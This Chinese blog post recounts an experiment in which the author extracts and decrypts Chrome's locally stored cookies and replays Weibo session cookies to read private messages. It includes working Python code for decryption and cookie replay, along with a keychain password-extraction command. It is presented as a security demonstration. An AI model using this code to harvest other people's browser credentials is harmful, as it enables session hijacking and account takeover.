记得还是在学Qt编程的时候,做过一个练手项目,产品是一个搜索Chrome的cookie内容的小软件。Chrome的cookie保存在用户目录的一个sqlite文件中,具体路径上网搜一下就知道了。当时比较天真,想看看cookie里面有没有明文保存的密码,结果当然是得到一堆乱码,最后就不了了之了。

直到前几天,我正在网上看一篇关于cookie的文章,忽然想起一件事情,我需要密码的原因无非是用来登录,我既然有了cookie直接发给服务器就可以了,又有什么必要了解cookie的内容?我顺手用chrome打开了微博私信查看下它的请求流程:

貌似理论上没有什么问题,不过还是要做个试验验证一下,我准备尝试用python写个小程序模拟浏览器向微博服务器发起私信消息的页面请求。

当然首先还是让我的小伙伴给我发条私信:

具体实现

整个实验我简单的作了个概念图:

实验主要分为以下几个步骤:

* 从chrome的sqlite文件中提取cookie

* 模拟浏览器组装header

* 向服务器发起目标页面的请求

提取chrome的cookie信息

chrome的cookie保存路径在三大操作系统Windows、Linux和OSX上都不尽相同,以linux为例,它的保存路径就是~/.config/chromium/Default/Cookies,我们先用sqlite3程序把这个文件载入进来看看:

cookie信息都保存在表cookies中,但是才刚开始就出现了意想不到的问题:

表里面的值和记忆中的大部分都是一样的,唯独最重要的value一项,居然是空的,而在末尾倒是多了个encrypted_value項。谷歌了一下,了解到在chrome版本33之前,cookie都是直接存储的,在33+之后,谷歌开始对cookie的信息进行了加密。顺便感慨下时光飞逝,不知不觉又老了几个版本。chrome在windows上加密采用的是CryptUnprotectData函数,解密方法大家可以看这里。Linux和OSX上的加密方法相似,都采用的是AES(CBC)加密方法,了解密码学的都知道对这个数据进行解密至少需要好几个值,salt,key length,iv,password,iterations等等。不过不幸的是一位国外的网友n8henrie在浏览了chromium源码之后把这些值统统找到了,以下是他原话:

salt is b'saltysalt'

key length is 16

iv is 16 bytes of space b' ' * 16

on Mac OSX:

password is in keychain under Chrome Safe Storage

I use the excellent keyring package to get the password

You could also use bash: security find-generic-password -w -s "Chrome Safe Storage"

number of iterations is 1003

on Linux:

password is peanuts

number of iterations is 1

顺便贴出他给出的源代码(可能是原作者的失误,在clean函数中忘记调用了ord函数,特此补上):

#! /usr/bin/env python3

from Crypto.Cipher import AES

from Crypto.Protocol.KDF import PBKDF2

# Function to get rid of padding

def clean(x):

return x[:-ord(x[-1])].decode('utf8')

# replace with your encrypted_value from sqlite3

encrypted_value = ENCRYPTED_VALUE

# Trim off the 'v10' that Chrome/ium prepends

encrypted_value = encrypted_value[3:]

# Default values used by both Chrome and Chromium in OSX and Linux

salt = b'saltysalt'

iv = b' ' * 16

length = 16

# On Mac, replace MY_PASS with your password from Keychain

# On Linux, replace MY_PASS with 'peanuts'

my_pass = MY_PASS

my_pass = my_pass.encode('utf8')

# 1003 on Mac, 1 on Linux

iterations = 1003

key = PBKDF2(my_pass, salt, length, iterations)

cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)

print(clean(decrypted))

我稍微改了下源代码,对上图header里的cookie的第一項尝试进行解密:

from Crypto.Cipher import AES

from Crypto.Protocol.KDF import PBKDF2

def clean(x):

return x[:-ord(x[-1])].decode('utf8')

def decrypt(encrypted_value):

encrypted_value = encrypted_value[3:]

salt = b'saltysalt'

iv = b' ' * 16

length = 16

my_pass = 'peanuts'

my_pass = my_pass.encode('utf8')

iterations = 1

key = PBKDF2(my_pass, salt, length, iterations)

cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)

return clean(decrypted)

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')

cu = cx.cursor()

cu.execute("select * from cookies where host_key = '.weibo.com' and name = 'SINAGLOBAL'")

res = cu.fetchone()

print decrypt(res[len(res)-1])

结果显示n8henrie给出的值确实是正确的,解密成功。

这个值我们不知道有什么意义,因为本来就不需要,直接把它发给服务器就好,服务器自己知道怎么解密的。

cookie值解密出来之后,感觉就像是突然变成了宿管阿姨,手里握着整栋宿舍的钥匙。

组装header

组装header这里比较容易了,基本上照着上面截下来的Chrome的header照抄就好了,不过要注意的是记得把Accept-Encoding:gzip,deflate,sdch这一项去掉,不然返回的数据是经过压缩的,最后再加上解密出来的cookie,一个完整的header就出来了。

import sqlite3

import urllib2

import os

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')

cu = cx.cursor()

cu.execute("select * from cookies where host_key = '.weibo.com'")

cookies = ''

for res in cu.fetchall():

cookies += res[2] + '=' + decrypt(res[len(res)-1]) + '; '

url = 'http://weibo.com/messages'

header = {

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

#'Accept-Encoding': 'gzip, deflate, sdch',

'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2',

'Cache-Control': 'max-age=0',

'Connection': 'keep-alive',

'Host': 'weibo.com',

'Cookie': cookies,

'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/40.0.2214.111 Chrome/40.0.2214.111 Safari/537.36'

}

request = urllib2.Request(url, headers=header)

发送请求

最后一步发送请求,把返回的数据打开看一下,私信消息已经在里面了。

结语

没想到整个过程还算是比较顺利的,而且还是在linux平台。随后我又在windows和OSX上进行了试验,windows的解密要更简单一点,而在OSX上获取Chrome Safe Storage的password的时候系统提醒需要获取授权,也就是说从目前来看只有苹果系挡住了这次攻击。不得不说cookie确实给我们带来了太多的便利,但是与此同时也牺牲了太多的安全性,网络发展到今天很多事情已经超出可控的范围,尤其是在中国这种软件氛围,谁知道各大软件产商有什么做不出来的,想要保护好自己,只能靠自己平时多长点心眼了。

Q&A

Q:为什么我直接用你的代码返回404?

A:你要先用chrome至少浏览一次私信,不然哪来的cookie。

Q:为什么选择微博私信做实验?

A:因为我知道你们用的是微信而不是私信。

Q:你是在本机运行的,劫持自己的信息可以,怎么劫持别人的信息?

A:一般人不行,但是软件产商可以。

Q:为什么每个用户只有一条私信?不可以看到所有的对话嘛?

A:可以,但这里只是做为实验,不可有小人之心,但不能不防小人

Q:有了cookie除了看私信还能干什么?

A:不知道。

最后感谢下caixpp童鞋发了封私信,还有,用完数据库记得close。

References

转载请注明

微博群发私信 php,利用cookie劫持微博私信相关推荐

  1. 利用Cookie劫持+HTML注入进行钓鱼攻击

    目录 HTML注入和cookie劫持: 发现漏洞 实际利用 来源 HTML注入和cookie劫持: HTML注入漏洞一般是由于在用户能够控制的输入点上,由于缺乏安全过滤,导致攻击者能将任意HTML代码 ...

  2. 如何保护你的账户和财产不被Cookie劫持和HTML注入攻击?

    随着互联网的普及,网络攻击也愈发猖獗,其中钓鱼攻击成为网络攻击的一大类别.钓鱼攻击指的是通过欺骗手段获取用户的敏感信息或者财产的行为.其中,利用Cookie劫持+HTML注入进行钓鱼攻击成为了攻击者非 ...

  3. 利用Backtrack劫持cookie

    1.前言 还在用没有加密的wifi看微博吗? 小心您的cookie被人劫持,微博被人盗用! 本文我们将介绍如何使用arpspoof与wireshark和cookie injector脚本来劫持腾讯微博 ...

  4. [石青微博群发软件 v2.1.8.6] 集新浪微博和腾讯微博为一体的营销工具+自动群发消息

    介绍 石青微博群发软件是一款集新浪微博.腾讯微博为一体的营销工具,几乎涵盖了所有微博营销和推广手法,是网络推广者不可多得的工具. 本软件是一款全自动的微博群发工具,包含群发.超话.私信.评论.留言.转 ...

  5. python cookie池_Python爬虫scrapy框架Cookie池(微博Cookie池)的使用

    下载代码Cookie池(这里主要是微博登录,也可以自己配置置其他的站点网址) 下载代码GitHub:https://github.com/Python3WebSpider/CookiesPool 下载 ...

  6. Python爬虫——批量爬取微博图片(不使用cookie)

    引言:刚开始我想要爬取微博的照片,但是发现网上大多数的blog都是需要一个cookie的东西,当时我很难得到,偶然翻到一个个人的技术博客: http://www.omegaxyz.com/2018/0 ...

  7. 利用500W条微博语料对评论进行情感分析

    本文已在CSDN,CSDN微博 ,CSDN公众号 ,IT技术之家 等平台转发. 最近身边的人都在谈论一件事:10月8日中午的一条微博,引发了一场微博的轩然大波.导致微博瘫痪的原因是全球超人气偶像明星鹿 ...

  8. “全民舆论场”微博,品牌如何利用热点夺得营销话语权?

    微博作为"全民舆论场",几乎是目前所有热点话题的发酵地和引爆平台,年轻用户似乎将"热点事件看微博热搜"刻进了DNA里面.在这个强大的流量场面前,品牌要如何利用热 ...

  9. [转]网店博客营销之微博实战技巧:还没有做微博的掌柜看过来

    网店博客营销之微博实战技巧:还没有做微博的掌柜看过来 提起微博,估计对于很多掌柜来说还是新鲜事.因为很多掌柜对于传统的博客都不太感冒,还未深究,现在又来了一个微博.其实,2009年中国的网络才正式步入 ...

最新文章

  1. 2022-2028年中国TFT玻璃行业市场研究及前瞻分析报告
  2. 网络推广专员浅析网络推广切忌一蹴而就
  3. 类目,延展,协议的基本概念
  4. hyperv的安装与使用
  5. SQL Server 中关于EXCEPT和INTERSECT的使用方法
  6. 工作406- Error:Node Sass version 5.0.0 is incompatible with ^4.0.0 问题解决
  7. 前端学习(2211):网络请求模块的选择--axios的配置相关
  8. mysql 的 null值_MySQL NULL值
  9. 组件cdn引入_高性能 React UI组件库SHINEOUT
  10. 面向对象【林老师版】:绑定方法与非绑定方法(十七)
  11. IDEA连接Spark集群执行Scala程序
  12. Markdown的使用心得
  13. Control-车辆动力学模型
  14. penetration testing report
  15. 干部身份、三方协议、派遣证(转)
  16. mysql盲注_Mysql 布尔型盲注手工注入详解
  17. 为什么一群人之中,蚊子就“盯”着你?为你揭秘“蚊子”的真相!
  18. 基于 Vue 和 TS 的 Web 移动端项目实战心得
  19. pycharm alt+enter智能提示无法进行包导入
  20. 《Web系统与技术》教材 第1章 Web系统与技术的基础知识 课件1(PPTX)

热门文章

  1. 程序员的假期总结——竹子(一)
  2. linux shell嵌套if else,Linux Shell系列教程之(九)Shell判断 if else 用法
  3. java微信获取素材列表_获取素材列表
  4. RANSAC算法(一)
  5. 2020低压电工模拟考试及低压电工实操考试视频
  6. SEO基础入门教程专业词汇大全
  7. 系统设计师之路·第一节·Coder Or Designer?——我是骄傲的设计师
  8. 小知识分享:adb uiautomator 命令 dump ui 树信息
  9. javascript判断键盘输入
  10. 最佳深度学习书5本推荐给你